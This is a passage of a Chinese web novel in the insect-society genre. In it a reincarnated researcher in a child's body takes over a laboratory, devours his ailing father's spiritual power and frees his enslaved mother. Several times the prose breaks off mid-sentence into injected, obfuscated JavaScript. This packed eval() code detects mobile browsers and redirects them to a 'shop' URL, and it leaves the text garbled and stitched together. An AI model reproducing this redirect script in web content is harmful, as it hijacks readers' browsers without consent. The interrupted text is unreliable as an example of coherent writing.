画面中,雌虫把营养剂举到唇边吸食。这是实验室雌虫研究员的营养剂,是市面上最高规格的,比往日维持实验体生命体征的劣质营养剂不知顺口多少,但阿克斯还是只使用了一半,就无法继续了。 他身上每块儿紧绷的肌肉都昭示着他的剧痛,但他的动作却仍然端正、刻板、一丝不苟。他把吸食一半的营养剂放到自己手边,全然没碰那些毯子和针剂。 对于他来说,这个营养剂是他在角斗场上赢来的,实验室里惯有这种规矩,奖赏在生死斗中存活下来的、为雄虫赢钱了的实验体一瓶营养剂。 那是属于他的,而那些毯子和针剂不是,所以他没碰。 虫崽看着他,也撕开营养剂,吸食合成味道的液体。对于虫崽来说,只要能迅速补充能量就好,他向来对口腹之欲看得极淡,甚至有点庆幸虫族节省了饮食的时间。 但看到阿克斯的行为后,虫崽揉了揉莫名酸疼的心口,改了主意。 阿克斯看起来不喜欢吃营养剂,这对维持生存不利。进食不只是生理需求,更是情感寄托和生物本能,他要学着为阿克斯备餐了。 “滋滋——” 下线许久的系统突然发出电流声,一道幽魂一样的电子音出现在虫崽脑海里: “宿主003,经过我的计算,您确实没说谎。” 沃伦点点小脑袋,纵容系统对人类性向的研究癖,继续吸食营养剂。 “但是,有一点上您漏出了破绽!” 系统突然大声说: “请您回答我,当我对您说‘您的精神触须代表您的真实内心时,您的第一反应为什么是您不喜欢阿克斯?我在向您介绍精神触须时,并没有暗示您喜欢阿克斯的意思!” “您还不是做贼心虚!” 系统话音未落,虫崽两只小爪子捧着的营养液“啪嗒”掉在了桌子上。 沃伦胖爪子缩缩,张开圆嘟嘟的小嘴,一脸无辜被指责的呆愣模样,让系统有一瞬间的动摇。 ——不对,前两个宿主也是这么装傻充愣的,对于狡猾的人类,一定不能掉以轻心! 系统发出愤怒的“沙沙”声,而虫崽重新抱起掉落一旁的营养液,鼓起小脸儿吸食: “系统,人类的语言是要区分语境的,” 常年泡在实验室的研究生并不算口齿伶俐,相反,他大多数时间比较沉默,在方才被系统指责的一瞬心慌后,他很快就找回了理性思维: “当时我们交流时,我正在思考触须黏在阿克斯身上的原因。它或许喜欢阿克斯,但你不要激动,人类的喜欢分很多维度,对战神的敬仰,对勇者的痴迷,这些都会引发喜欢,而且,由于你给我的身体还维持着幼崽的体态,即便入驻了成年的灵魂,身体的潜意识仍然影响着触须的行为,就比如说——” 虫崽一顿,肥肥的小脸泛红: “它们一直往阿克斯胸口上凑,这可以解释为幼崽寻求母亲怀抱的本能,毕竟在虫族,阿克斯这样的雌虫,是孕育者,对吧?虽然我能理解系统你工作的难处,但是,给宿主这样一具幼崽身体,还是会拉低任务效率的。” 胖崽反口pua一个系统。 “而且我觉得我这具身体心脏不是很好,老是突然心率激增,大概是被阿克斯吓得吧。” 胖虫崽脑海里闪过阿克斯胸口的山峦起伏和他流畅的肌肉线条,在战损之中仍然熠熠生辉的美和正气,心跳又在狂飙。 如果系统再和不靠谱的人类宿主历练几年,此刻已经把垃圾数据流吐在沃伦的脑域里了,但系统到底对第三位宿主心怀不切实际的妄想,且沃伦天生自带老实巴交的学究气质,看起来不会也不愿意撒谎,十分真诚。 系统被带偏了: “第一任宿主也反映过幼崽期对成年雌虫的依赖性。”它不情不愿地说: “但您的身体应该是没有任何健康隐患的!生命法庭的改造程序不可能出错,您的心脏问题和我们无关!” “好吧,我自己研究一下。” 沃伦乖巧道。他把一袋营养液吸空了,又开始投入不停歇的科研工作中。 科研工作者身上大概是有一种安稳、专注的靠谱气质,四头身的胖虫崽在操作台上蹦蹦跳跳,天才大脑超速运转,攻克一个个难题,制出止疼药的同时顺便也合成了原主一直在研究的雄虫精神力融合药剂。 系统观察了许久,越发觉得这个听话又专注的宿主还是可以挽救一下,彻底抛开了关于地球直男的偏见,再接再厉道: “宿主,鉴于您的状况,本系统开发了一套监管程序。您每天必须对任务对象阿克斯说出一次反派炮灰言论,每七天必须对其进行一次活体实验,令他感到作为雄虫的实验体的屈辱和痛苦,直到他捣毁实验室。这也是为了确保时间线不会因为剧情改动而崩塌,您是否同意监管程序?” “同意。” 沃伦没有太过纠结。他是一个非常遵守秩序的人,他欠了系统一条命,在确定系统所图后,他自然愿意配合系统的工作,尤其是这些工作除了有些羞耻外,难度是很低的,自由度也很高。 “就像之前那种恶毒炮灰的言论,就可以吗?” “完全可以!” 系统电子音里的灵动劲儿又回来了,它在沃伦的大脑里转了几圈,表达了对乖宿主的赞许之情: “您是我遇到过最好的人类宿主!” “谢谢。” 沃伦宠辱不惊地点点头,很快用精神触须融合了几个试剂。他摇晃着成品,对主脑吩咐道: “调用高级研究员和金翎羽的权限,将所有和x010号实验体有关的实验体都调配到悬空实验室。我会签署任何责任书。” “冕下,已有17位实验体权限正在转交中,但实验体x0087,x001032没有调配权限,您需要得到上级许可。有两位雄虫冕下有权限对你开放许可令:瓦利首席研究员,和阿尔德亲王,请问您需要现在联络吗?” 瓦利是原身的同父异母的雄虫兄长,阿尔德是原身的雄父。瓦利不用提了,不久前还企图坑原身的钱,沃伦自然只有阿尔德亲王这一个选项。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472120|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 倒是也巧,他正好有别的事想要见原身的雄父。 胖虫崽没有犹豫,勒令主脑立刻向亲王府邸发送申请。不多时,他的光脑跳出来一条讯息: “亲王邀您见面。” 信息是亲王的管家发来的,与此同时发来的还有定位。 沃伦脱掉白大褂,在实验室里简单洗漱了一下,而后穿上自己改造好的机甲,这一次他把自己完全包了起来,像钢铁侠一样无懈可击,成功恢复了187的视野。 实际上,他还暗自加了增高,视野超过了两米。 两米的虫崽驱动机甲,在离开实验室前设置好了防御措施,确保任何虫都无法被放进来后,站在了关押阿克斯的实验室前。 阿克斯合着双眼,但是沃伦知道他并没有入睡。身体像阿克斯一样濒临崩溃时,失去意识和死亡只有一线之隔。 虫崽握紧手上的药剂,还是没有递出去。一方面是因为阿克斯根本不会动他的药剂,另一方面是因为止痛药剂还没有经过临床试验。 悬空实验室是在原主加入帝国研究院后才刚刚建成的,原主之前的研究方向是武器和针对雄虫体质的改善药剂,并没有对雌虫和亚雌实验体下手,这是沃伦难得庆幸的事。 隔着等离子壁,雄虫崽用金色的眼睛盯着一动不动的雌虫,用被扭曲过的声音说道: “你的同僚,很快就被送到了。” 雌虫抬起毫无血色的脸,空洞的灰色眼眸闪过一丝濒临绝境的锐利: “你到底想怎么样?” “我要做活体实验,”沃伦吐出凶残的炮灰言论: “如果在我回来前,你死了,我只能用其他实验体做实验了。” 他说完,看着阿克斯仍然没有一丝生气的脸庞,咬牙狠狠加码,完成了今日炮灰言论任务: “实验很凶残,能让你曾经的部下生不如死!不想让他们比死还痛苦,你知道该怎么做。” 说完,冷血又凶残的炮灰雄虫崽乘坐飞行器离开了悬空实验室,向阿尔德亲王的疗养院飞去。 * 作为阿尔德亲王最看重的雄子,沃伦没有等待太久,就被阿尔德亲王召见了。 亲王年龄超过70,但看上去只有四五十岁,脸颊瘦削,透露着不正常的红晕,和沃伦相似的金色眼眸透露着疯狂的求生欲。他躺在一座巨大的,床型的修复舱里,治愈光谱时刻笼罩在他的身上。 沃伦走进来,学着原主的样子对阿尔德亲王鞠躬: “亲王。” “沃伦,” 亲王对他招招手,有些急迫地说: “新研发的药剂有结果了吗?” “有了一些新的想法,但找不到足够的实验体。”沃伦面不改色地扯谎: “您知道,教会对那些平民雄虫看得严,找不到合适的雄虫实验体为您试药。” 沃伦说,圆溜溜的金色小狗眼一直探究地落在自己的雄父身上,眼底可看不出一丝柔情。 不过虫族向来亲缘淡薄,沃伦的冷漠也不算明显。他观察着雄虫灰败的面容,在老雄虫愤怒捶床,催促他去绑架平民雄虫的时候开口道: “但我可以替亲王试药。” 12. 大孝子开动咯! “你说什么?” 亲王睁大满布血丝的眼睛,从床上勉强抬起头,错愕地看着面前残疾的雄子。 金红色的精神触须在他的身后如同烟雾一般明灭,沃伦肃着小脸儿,眸光却闪烁地落在亲王身后的触须上,眼底划过一道精光。 “我和雄父的力量和血脉最为相似,我替您试药是最合适的。” 沃伦说着,仿佛察觉不到阿尔蒙亲王骤然爆亮的、充满贪婪的眼睛正死死盯着自己似的。 “好,好...” 阿尔蒙亲王撑起崎岖的病躯,从修复舱里坐起来,对生命的渴求几乎让他的脸扭曲如同鬼魅: “你竟肯这么想...我很受触动。只可惜你雌父没有给你一个好身体,那个该死的雌虫...我应当把继承权给你,沃伦,你才是我最有才华的雄子,而瓦利除了敛财,什么都不会。” 阿尔蒙的病是急病,对于高等雄虫来说并不算少见。他们因为血脉和传承的力量,拥有驾驭高维度力量的能力,直接造成的后果是雄虫蛋的诞生率和破壳率极低,而破壳的雄虫崽有一部分像沃伦一样,永远无法蜕变,只能保持幼崽身体承受日渐成熟的灵魂和思维,最终早夭。 阿尔蒙如今也患了精神力相关的疾病,这也导致了他□□的衰弱,无法承载神力。在衰落和死亡时,雄虫和他们看不起的雌虫、亚雌没有区别。 如果没有外力干预,阿尔蒙能够凭借治疗舱苟延残喘,维持身体不腐,但他的精神也会在几个月,或者几年后陷入永远的沉睡,来自高维度的力量也会彻底离开贪婪的血肉之躯。 这些年,原主为了成为亲王府的继承者,也为了自己迟迟不蜕变的残疾,一直在潜心研究雄虫精神力和融合药剂。帝国因为某些原因,明令禁止任何虫研究雄虫的基因,但阿尔蒙和沃伦都是皇亲,到底掌握许多资源。 在沃伦穿越来之前,原主就在研究促进雄虫身体重塑,链接精神力的药剂。他本虫也是在使用了这种药剂后强行蜕变,却蜕变失败,让沃伦有了得到第二次生命的机会。 所以,沃伦说什么替亲王试用药剂的假话也没有任何心虚,因为原身确实用过。 “但是,为了安全考虑,有一些事需要雄父的支持。” 沃伦话锋一转,眨了眨无害的金色小狗眼: “我的实验不能只停留在动物试验阶段,我需要临床试验体。没有雄虫当实验体,我也需要高等军雌,最好的那批高等军雌。而现在雄父将帝国研究院都交给了瓦利,他看我不顺眼,不给我任何可以调配的资源,就连他手下的平民雄虫都可以到我的实验室叫嚣。” “我需要更多权限,雄父。你知道,我的实验是绝密,更是无可替代的。” “当然、当然!” 只说了两句话,病入膏肓的老雄虫又气喘吁吁起来,他几乎立刻招来了机器人,向主脑下达指示,批准了沃伦所有调配实验资源的申请。 “你拥有最高调配权,即便是瓦利也无从过问!现在…我就认命你为首席研究员!” “谢谢雄父,”沃伦仍旧保持一副宠辱不惊的模样,那沉稳和靠谱的样子骗过涉世未深的系统,也骗过了头昏眼花的老雄虫: “我马上就可以为您试药,但您也知道,帝国法度保护雄虫,即便您贵为亲王,也无权让其他雄虫为您试药,为了避免麻烦,您还得把府邸清干净才好,特别是那些机器人,如果我没记错,帝国如今最大的机器人生产商是教会。您知道他们的可恶之处。” 老雄虫失去了说话的力气,只点点头,用浑浊的眼睛贪婪的盯着沃伦,挥动身后烟雾一般的精神触须,让主脑将府邸清空。 “还有我的雌父,我好久没见他了,雄父,我希望他能陪陪我。” “...见他做什么,咳、咳咳...” 老雄虫已经不耐,但他还是将沃伦雌父的权限放开,断断续续说: “你试完药,可以、带他走。” 沃伦的雌父是一个研究员,嫁入亲王府后就断绝了事业,也因为身份低微,只做了一个雌奴,连被精神抚慰的资格都没有。 可偏偏在一次意外中,沃伦的雌父怀了一个雄虫蛋,成为了亲王的雌侍。但即便如此,他仍然极不受宠,也不被允许用他下贱的身份去养育出身高贵的亲王雄子。 原主从小没怎么和自己的雌父相处过,等他长大了,却因为自己无法蜕变的残疾,责怪自己的雌父。 这在地球人看来简直荒谬到了极点,也不符合道德观念,但是在虫族却很正常——整个虫族社会都是搭建在极端压迫上的,一个被社会打造成功的雄虫,天然地憎恶被他们踩在脚底的雌虫和亚雌,包括他们的生身雌父。 就像人类历史上的奴隶时期,主人和奴隶的私生子渴盼得到父系血脉的承认,摒弃自己奴隶的血脉,这既是一种趋利避害的本性,也是一种无知和残忍。 雄虫就是如此。或许他们在诞生时无垢纯白,但是当社会赋予他们奴隶主的身份,他们就丝毫不无辜了。 沃伦点了点头,又仔细检查了主脑上的动态。他短暂的沉默被当作要反悔的预兆,老雄虫焦急地撑起身体,断断续续道: “快使用药剂吧,沃伦!这是你亲手制作的药剂,一定会成、成功的。” 确定府邸空旷安全,所有亲王的雌虫和亚雌也撤到危险范围之外后,沃伦抬起眼: “当然,雄父。” 他的身后,两条粗壮凝实的精神触须游动出来,窜入主脑的数据库,切断了主脑的链接。一时间,整座府邸陷入了短暂的混乱,亲王的医疗仓也断了能量。 老雄虫一口气上不来,差点儿咳死。他瘦削凹陷的脸涨红,意识到沃伦的失控,拼命召唤出影影绰绰的精神触须。 相比沃伦两条单薄的触须,亲王的精神触须多达十数条,色泽血红,在他不稳定的身体状况下显得虚实不定。 s-级别和a-级别看似只差一个大等级,实际上却天差地别。在教廷尚未兴起,雄虫崇尚血脉的时代,a到e级的雄虫仍然算血肉之躯的范畴,只有s级的雄虫会被称为神子。 而现在,s级的雄虫只有皇族直系和教廷中存在一二,s-级别是最为接近神子的领域。沃伦看到亲王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472121|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后密密麻麻的精神触须,金色的双眼也闪过一丝觊觎,但很快就被一脸无辜的神色掩盖过去。 “雄父,您在做什么?” 他用清脆的童音问:“我只是想确认主脑断连。您知道的,帝国和教廷的黑客无孔不入。” 老雄虫强行催动精神触须,脸色更是惨败,他一口气不上不下,冷汗涔涔,话也说不出了,只示意沃伦快点儿。 沃伦从空间纽里拿出一瓶药剂,同时用自己的精神触须挑动老雄虫的一根触须,拉到眼前端详着: “不过雄父放出精神触须也是好事,在进行临床试验前,我需要确认您的状况。” 他用自己灵巧的精神触须翻动老雄虫的触须,体会着精神触须传入大脑的信息——寻常雄虫缺乏他这么发达的脑域,与自己召唤出的神力也隔着维度的差距,根本不可能像他一样汲取信息。 而此刻,他的精神触须正在确认他之前的猜测:老雄虫的精神触须是可吞噬的。而更有趣的是,他并不认为老雄虫现在的力量是同源的。 那狰狞的触须像是被不同的力量拼接起来的。即便缝合处做的很精细,敏锐如沃伦仍然能察觉出不同。 也就是说,阿尔蒙亲王早有吞噬别的雄虫精神力的经历。 这个发现让沃伦一惊,他突然意识到原主的死或许不是一个意外。 原身很年轻,按理说即便迟迟不发育,在雄虫帝国的地位也不会低,仍然被帝国荣养,更何况他还出身皇族。他迫切想要蜕变,又一心扎入雄虫精神力研究这件事背后,少不了阿尔蒙亲王的推波助澜。 而阿尔蒙亲王这场突如其来的疾病,真的只是精神力反噬显化吗? 原主研究的精神力融合药剂,到底是什么? 一瞬间,沃伦突然什么都想明白了。他抬眸看着医疗仓里的老雄虫,失去了对伤害一个智慧生物最后的犹豫。 这个世界是个扭曲到极点的世界,每一个身处其中的雄虫都不无辜。如果系统所代表的生命法庭是某种意义上的时空干预者,而阿克斯也身负“天命”的话,他们拯救这个种族唯一的方式,就是推翻雄虫的帝国。 而当变革和颠覆到来时,旧时代的支配者会死。 在沃伦思索的时候,老雄虫更加衰弱了。他的身体器官在失去顶级医疗仓的治愈光谱后急速衰弱,强行召唤精神触须又让他体会着灵魂焚烧的痛感,他像个破风箱似的喘息,不断驱动精神触须,想要催促沃伦尽快试药,而却只等来沃伦慢条斯理的一句话: “我还有最后一个问题需要解答,雄父。” “那就是,强行吞噬其他雄虫的精神触须,导致了您如今糟糕的状况吗?那如果...” 胖虫崽抬起太阳一样明艳的金色眼睛,眼底闪过一丝纯粹得天真的光芒,仿佛真的只是求知若渴: “如果吞噬血脉同源雄虫的精神力,会不会让您重归巅峰?” “你竟然知道了?!该死…” 在老雄虫惊恐的喘息声中,沃伦的精神触须猛然绞断了他的一根,金红色的触须裹挟上来,刹那间将猩红的触须吞噬殆尽。 13. 炮灰升级第二步 实话实说,在最终下定决心吞噬原身雄父的精神触须之前,沃伦是犹豫且恐惧的。 他不是什么战士,更不是什么杀手。他所有的杀戮经历来自实验室的小白鼠和菌群,所有的战斗经历来自智斗比格犬。 作为一个常年泡实验室的战五渣,导师绝对的应声虫,实验室所有关系户的压榨对象,沃伦几乎会回避所有冲突,哪怕自己的实验成果被占用,也无非就是继续下一个项目。 穿到了新世界,拥有了新生命,他反而茅塞顿开了。 勾践卧薪尝胆,最终翻身,那是因为他是越王。普通人成天装孙子,不仅无法逆袭,还会成为真正的孙子。 他都死过一次了,在新的世界,没有人认识他,也没有人会因为他的举动而受到牵连,他甚至有了一份责任——确保阿克斯活着,完成炮灰任务,见证阿克斯毁灭实验室。 而在阿克斯重新崛起之前,沃伦得确保他们都平安活着。 他需要真正的力量,当一个邪恶炮灰也不能只说不做。 沃伦还是有自知之明的,他虽然能骗骗涉世未深的系统,但他缺乏在尔虞我诈环境中生存的技巧,更无法在帝国研究院拉帮结派,和瓦利斗智斗勇。 他最擅长的只有做研究,但做研究需要时间,而根据雄虫社会的现状,沃伦可不觉得称为帝国研究院的首席研究员,就能让他高枕无忧了。 虫族是一个宗教帝国,他们不仅有信仰,更有真正的神力。而强大的神力,才是在社会阶级之外的,真正的安身立命之物。 掠夺精神力原本只是沃伦的一个假设,特别是拥有原主记忆,看过原主的研究资料之后。但到了此刻,他确信掠夺其他雄虫的精神力,是除了天赋之外,切实可行的方法。 阿尔蒙亲王的“突发疾病”,就是掠夺精神力后遭到的反噬。反噬不是一蹴而就的,相反,最开始的吞噬让阿尔蒙的精神力等级上涨,甚至到了与“神子”只有一线之隔的s-级别。 而当阿尔蒙意识到反噬的危害后,一切已经不可逆转了。但对于位高权重的亲王来说,这一切都没有停止,他将目光落在了自己的同源血脉上。 雄虫帝国推崇血脉,贵族仍然凌驾于平民之上,这也不完全是无的放矢的,因为同源雄虫的神力趋同,从颜色上就可以大致区分,在某种理论中,也更好融合。 融合后的强大精神力,有很大机会会像新生一样自如强韧,再无崩裂和反噬。 但这不是一件简单的事,且不说雄虫间不讲孝道,也不讲奉献,只说高等级的雄虫反抗起来也十分激烈,而融合也需要在对方活着的情况下进行。 这时候,原主就成了一个目标。他年少无知,且对继承者的位置十分觊觎,更憎恨自己无法蜕变的残疾。他很快被引上了研究雄虫精神力融合剂的道路,如果原身没有急功近利,在没有临床试验的情况下亲自使用药剂,蜕变失败身亡的话,阿尔蒙亲王一定会引他去寻找真正的雄虫实验体,从而剥夺更多雄虫的精神力来续命。 而最终,原主一定会被引导使用药剂,他会是阿尔蒙亲王最后一道正餐。 而从始至终,研究是原主做的,实验体是原主找的,帝国法度是原主破坏的,结局也是原主自食恶果,阿尔蒙亲王除了得到更强大的精神力和健康以外,竟然毫无损失,且毫不知情。 这是一道连环计,其阴毒不言而喻,如果沃伦是原主,他此刻恐怕也被玩死了,这远不是他这种臭搞研究的能参透的东西。 庆幸的是,原主用性命扫了雷,沃伦的脑子又比原主好用太多,以至于一眼看出那药剂的真实作用。 原主研究的药剂确实可以作用于雄虫,让雄虫成为更强有力的媒介,连接异度空间的神力,且会加速雄虫的发育和蜕变。所以原主一旦使用,一定会进入结茧前的虚弱期,而那时,便是神力最活跃,却也无法抵抗的时期。 非常适合被吞噬。 就像此刻的老亲王。他s-的精神力因为身体的衰败,已经很难被调动,又被沃伦一惊一乍吓得使用了精神力,让他的力量裸露出来,却几乎无力催动。 那可以移山倒海的神力在老雄虫身后虚弱地抽动着,很快被沃伦吃掉两根。 说实话,这感觉很奇怪。沃伦的精神力肉眼可见的粗壮起来,但是他却没有感到任何不适。那被迫融入他的力量仿佛天生就属于他,他的精神触须也没有任何拼接的感觉。 果然同源的精神力是特殊的吗?难怪老雄虫绕这么大一个圈子,也要觊觎他的精神力。 两条精神力被生生撕裂的剧痛贯彻灵魂,让阿尔蒙亲王口吐白沫,歪倒在医疗仓里,整个身体都浮现出可怕的青斑。他仅存的意识仍然感到恐惧,拼命驱动着神力,企图驱赶威胁,可是那些神力已经开始脱离他的掌控,反而送上门去。 沃伦笑纳了。 阿尔蒙亲王召唤出十几根精神触须,全被沃伦拽下来吞噬了。他明显感受到自己的精神触须越来越壮大,原本两根的触须开始膨胀、分裂,成为八足的形状。 阿尔蒙亲王苟延残喘,意识几乎已经被剥离了,身体上的青斑更加明显,像一具风干的尸体。 沃伦冷静的把刚才拿出来的药物灌进阿尔蒙亲王的口中,又给他打了几个针剂。而后,他重新唤醒了主脑。 “亲王在使用精神力融合剂后失去意识了。” 他说: “幸运的是,亲王也不会再收到精神力反噬的痛苦,他将在这里疗养,我仍然会改进药剂,等有成果后,我会来看望我的雄父。” 阿尔蒙亲王的精神力还有压榨空间,但他身体撑不住了。医疗仓可以疗养亲王的身体,下次沃伦会带改进后的融合药剂来,强迫亲王再度连接神力,待到那时,他又可以吞噬一次精神力。 沃伦俨然把亲王当成产出阿胶的驴,现在正准备养一养亲王刚被割掉的皮。但主脑并不知道这个四头身的幼崽是如此邪恶的反派炮灰崽,只凭借亲王刚刚开放的诸多权限,确定了沃伦是亲王府目前的主人。 “一切听从您的吩咐,少雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472122|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主。” * 胖虫崽即将离开时,一个三十余岁的雌虫正低眉顺目地等候在他的飞行器旁边。 沃伦的萝卜腿一顿,硬着头皮走上前,第一次见过自己这个世界的“雌父”。 “少雄主。” 他的雌父低垂着脸,形容看不出惊喜,反而有几分瑟缩。他在原主的记忆中占比太少了,在这个扭曲荒诞的世界其实也算合情合理,没有一个奴隶和主人生的孩子,会在享尽荣华富贵和高人一定的生活后,亲近身为奴隶的双亲。 或许一些天性柔软的雄虫会有较强的共情能力,但是原主显然不是其中一员。 沃伦抿了抿唇,学着原主的样子,率先走上飞行器,只留下一句: “跟我来。” 进入飞行器后,他将飞行器设置成自动驾驶模式,才鼓起勇气看向身旁的雌虫——按照地球人的标准,这个虫是他的“母亲”。 地球人沃伦有自己的母亲,她和他的父亲一样,是某间研究所的中流砥柱,手握无数专利,却在沃伦5岁那年悄无声息地死在了一场车祸里。 她和沃伦的父亲只留下了几张照片,和国家特殊部门发来的补助。因为受害者夫妇身份太过特殊,又牵扯别国的间谍和政治博弈,这场惨烈的车祸最终都没有见报,而沃伦也隐姓埋名,成了领抚恤金独自长大的孤儿。 五岁的沃伦不理解社会复杂的阴暗面,他等不到母亲,就把注意力全部投入她留下的书籍和研究里去,渐渐的,他对她的专利和论文如数家珍,倒背如流,可是她的模样,却只在他记忆里留下一道模糊的剪影。 而在这个世界里,他的“母亲”达奚也是一名研究员,因为扭曲的社会结构,达奚年轻时所有的实验成果全都供给了当初的阿尔蒙亲王,也正是因为这份好用,他才破格成为了阿尔蒙的雌奴,更加名正言顺的让他所有的成果,在法律和道德意义上全都属于他的雄主,而他则一无所有。 飞行器哑然无声,沃伦抛开那些关于妈妈的,触不可及的回忆,全身心感受着自己明显增长的神力。 他下了这样大的风险,也是迫于无奈。他本想过,自己可能因为对力量的贪欲而像阿尔蒙亲王一样罹患无法治愈的疾病,身体慢慢衰弱。他准备好了付出这样的代价,但是现实却让他格外惊诧。 他完全没有任何不适。实际上,他只感受到了强大,和不知餍足的渴望。他的触须仿佛天生就拥有吞噬一切的欲望,像天空一样辽阔,也无法被填满。 神力是有一定自我意识的,沃伦到了此刻终于确认了这一点。而雄虫吞噬其他雄虫的神力,自然也造成了不兼容的情况,就像阿尔蒙亲王那些像尸块一样拼接而成的触须,呈现不详的暗红色。 但沃伦的触须却仍然和第一次出现那样自如活泼,生机勃勃。他伸出触须,在达奚骤然的僵硬和恐惧中,连接上了达奚脖颈儿上的项圈。 “嘎达”一声,代表雄虫绝对权力和惩罚措施的项圈应声而落,漆黑的模样倒映在达奚的错愕的眼底。 14. 没文化的后果 “少雄主——” “雌、父。”胖虫崽绷着脸,内心其实比达奚紧张一万倍,艰难地吐出这个称呼: “你以前是研究员吧?我现在在帝国研究院当首席研究员,皇室属地星球上有自己的领土。我已经重新规划了用地方案,以后就由你来负责。你不需要再回亲王那里了。” ——因为亲王已经变成植物虫了,且沃伦绝不可能让他重新爬起来。 在帝国,雌虫和亚雌不配备光脑,也没有进入星网的资格,虫崽叫飞行器上的机器人打印了纸质版的规划方案,交给达奚。 达奚为这样的变故而瞠目结舌,他看看虫崽,又低头看看材料,最终沉默地低头浏览起来。 胖虫崽立刻松了一口气。 沃伦并不觉得自己是社恐,但幼时失怙失恃,他的性格确实有些孤僻。占了原主的身份,他自然要保护原主的雌父,但他本身对一个雌父并没有认同感。 因为整个星球都隶属皇族,整个矿星上除了一座停止开采的矿,只有占地面积极大的帝国研究院和拱卫帝国研究院的特殊驻军了。 但因为帝国研究院是帝国绝对的保密机构,流量并不大,绝大多数的低级研究员没有资格进入这个星球,而高级研究员又全都是有身份、有背景也有天赋的雄虫。 为了保障这些雄虫的享乐,皇族并没有亏待他们,每一个高级研究员都配备了专业团队和专属的实验室,还配备了占地面积广阔的私人宅邸。 沃伦作为亲王的雄子,实验室的高级研究员自然也拥有了一座巨大的庄园,按照原主的喜好,主建筑浮空设计,刚刚竣工。 但人类沃伦却并不在乎这些,他只看到了属地的林场、平原和肥沃的土壤——他的华夏基因显化了,他想种地。 这并不是因为沃伦想一出是一出,实际上他有多重考量: 1、他需要喂养阿克斯,还有其他刚刚被他强行掳进自己实验室的实验体。他必须从多方面恢复这些虫的状态,确保他们最终有实力跟随阿克斯掀翻研究院; 2、因为帝国实验室的绝密性,进出的物资船都要经过层层审查,沃伦并不想让其他虫看出自己物资单上的端倪,最好的方式还是自己培植食物; 3、他得找个地方安置达奚,实验室虽然很合适,但别人不知道,沃伦却知道等阿克斯恢复状态,他的实验室首当其冲会被摧毁,他自己都不知道走不走得脱,更不想连累达奚。 察觉到达奚的余光一直落在自己身上,并且带着收敛的母性和温情,沃伦恨不得找个地缝钻进去。 比起被达奚错置的母爱包围,他宁愿去和阿克斯面对面,承受被对方撕碎的风险。 “总之,我要在属地建一座大型复合农场。选育的品种我已经下订单了,以后的运营交给雌父,农场里的一切劳力都由雌父调配,你把那里当作自己的家就行,我只会在实验间隙偶尔回去休息。” 他不自在地说,晃了晃萝卜腿: “雄父的信息素我已经抽取采样,以后会存放在我的领地,你需要的时候自己取用就好,不必管他。” 达奚瞠目结舌: “采集雄虫信息素是违法的,您这样做会被贵族院和雄保会通缉——” “雄父不知道,只有我们知道。” 被雌虫吓了一跳,胖虫崽鼓起小脸儿,睁大一双金色的眼眸,达奚看着自己诞下的虫崽,终是没忍住,摸了一下虫崽嫩嫩的圆脸: “您为什么要这么做?” “我...” 沃伦顿了顿,用原主赌气的语气说:“我想怎么做就怎么做,你别问了!” 说完,他背过身将飞行器降落,达奚几次欲言又止,还是有些无奈地进入沃伦的属地,按照他的吩咐安置下来。 沃伦对此大感放松,飞快飞回了悬空实验室,一头扎进了安放阿克斯的实验室里。 而此刻,在机器人的安置下,阿克斯的“牢房”入驻了其他实验体。 * “元帅!元帅!” 阿克斯感觉自己方才眨眼的动作特别缓慢,时间像是凝固了一般,思维仿佛被装在一个小盒子里,在空旷无垠的黑暗中悬浮着。 寂静中突然传来几声炸响,他在一声急切的“元帅”中睁开眼,猛然“看”向身旁。 “元帅!您...您还活着,感谢母神,感谢母神...” 一个金发亚雌哽咽道,他伸出瘦削的手臂,小心扶住阿克斯僵冷的身体。 “奥科维亚?” 阿克斯声音嘶哑,他自己都觉得古怪。他什么都看不到,不知道奥科维亚被折磨成了什么样,但他知道这一切都是因自己而起。 “第一军多少虫被抓了?” 五年前,他知道自己成立的“黎明”革命组织已经被帝国和教会围剿,而自己也身份暴露,不可能继续担任帝国的元帅一职。 有两个选择摆在他的面前,一就是束手就擒。 他作为不甘心接受命运,公然质疑和反抗母神的异端,他成立革命组织,在未被任何雄虫标记的前提下,非法提取雄虫信息素,为自己注射,企图为雌虫和亚雌寻找一条不需要被雄虫控制,被信息素左右的道路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 